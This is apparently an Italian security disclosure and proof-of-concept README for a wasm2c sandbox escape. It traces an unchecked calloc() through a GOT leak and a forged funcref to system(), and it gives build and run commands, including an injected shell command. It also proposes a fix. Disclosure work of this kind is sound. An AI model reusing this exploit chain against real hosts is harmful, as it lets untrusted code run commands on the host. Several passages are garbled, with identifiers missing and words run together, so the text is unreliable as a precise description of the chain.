
Evasione dalla sandbox di wasm2c. Un modulo WebAssembly non attendibile fuoriesce dalla sandbox C generata ed esegue un comando shell arbitrario sull'host.
Leggi il blog: trustsig.eu/blog
wasm_rt_allocate_funcref_table() in wasm2c/wasm-rt-impl-tableops.inc imposta
table->size dal numero di elementi dichiarati dal modulo e poi ignora il risultato di
calloc(). Quando l'allocazione fallisce, la tabella rimane con data == NULL e la
dimensione size completa dichiarata, quindi ogni controllo dei limiti passa comunque e
table->data[i] diventa l'indirizzo assoluto i * sizeof(wasm_rt_funcref_t).
Il conteggio degli elementi proviene dal guest, quindi il guest sceglie la dimensione dell'allocazione e può forzare il fallimento.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
L'immagine clona wabt al tag 1.0.41 da upstream, compila wat2wasm e wasm2c,
compila il modulo guest e un embedder semplice, e lo esegue.
Output previsto:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
L'ultima riga è il contenuto di /tmp/pwned.txt, un file che non esisteva prima che il
modulo in sandbox fosse eseguito.
Verificato su linux/arm64 e linux/amd64. Niente nel modulo è specifico
dell'architettura: l'indirizzo dell'istanza, lo slot GOT e l'offset di libc vengono tutti
risolti in fase di build a partire dal binario appena compilato e dalla libc di
quell'immagine.
Su Linux, con clang, cmake, ninja e binutils installati:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS non è una piattaforma supportata per questo PoC. Darwin non applica RLIMIT_AS,
quindi la calloc sovradimensionata riesce e il bug non si attiva mai; le build arm64 di
macOS sono sempre indipendenti dalla posizione, e Mach-O non ha un GOT ELF per il
passaggio di leak. Il difetto in sé è indipendente dalla piattaforma; solo questa catena
di exploit è specifica di Linux.
Altre versioni e comandi:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref). La calloc da 68 GB fallisce, data è NULL,
size resta 2147483648 e gli indici della tabella diventano indirizzi assoluti.table.get all'indirizzo got_slot/32 legge il GOT dell'embedder attraverso la tabella
corrotta e table.set memorizza il risultato nei globali del modulo, dove il codice wasm
può leggerlo come intero. Questo rivela l'indirizzo di malloc della libc, e system
si ricava a distanza fissa nella libc del target.wasm_rt_funcref_t in quattro globali consecutivi: func_type che punta a una
copia dell'hash di tipo del call site (func_types_eq_slowpath lo confronta con
, quindi i byte controllati dal guest superano il controllo), = , e
= la stringa di comando, anch'essa contenuta nei globali.L'unico dato di layout incorporato nel modulo è l'indirizzo dell'istanza del modulo, che è un globale e quindi fisso in un embedder non PIE. ASLR rimane attivo; l'indirizzo della libc viene leakato a runtime.
L'allocazione della tabella deve fallire. Il PoC usa ulimit -v 1000000, un limite di spazio
degli indirizzi del tipo che un host che esegue codice non fidato imposterebbe. Fallisce
anche su host a 32 bit, dove l'allocazione non può essere soddisfatta affatto, con
vm.overcommit_memory=2, o sotto una pressione di memoria sufficiente.
Su Linux 64-bit standard con l'euristica di overcommit predefinita l'allocazione riesce e non viene mai toccata, ed è per questo che il bug sopravvive ai test normali.
Ogni release che include le tabelle di wasm2c. La calloc senza controllo risale al commit
ab9e0b55 (#813). Verificato contro la release 1.0.41 e l'attuale main.
L'allocatore di memoria nello stesso runtime gestisce questo caso:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
L'allocatore di tabelle necessita dello stesso controllo.
Dockerfile compila wabt ed esegue il PoC.tableflip_poc.py genera il modulo guest, compila l'embedder, risolve le tre costanti dal
binario compilato e dalla libc del target con nm e readelf, e lo esegue. L'embedder che
emette non contiene alcun codice di supporto all'exploit.memcmpfuncsystemmodule_instancecall_indirect all'indirizzo globals_addr/32. wasm2c emette
((t)entry.func)(entry.module_instance, ...), quindi questo chiama system(command).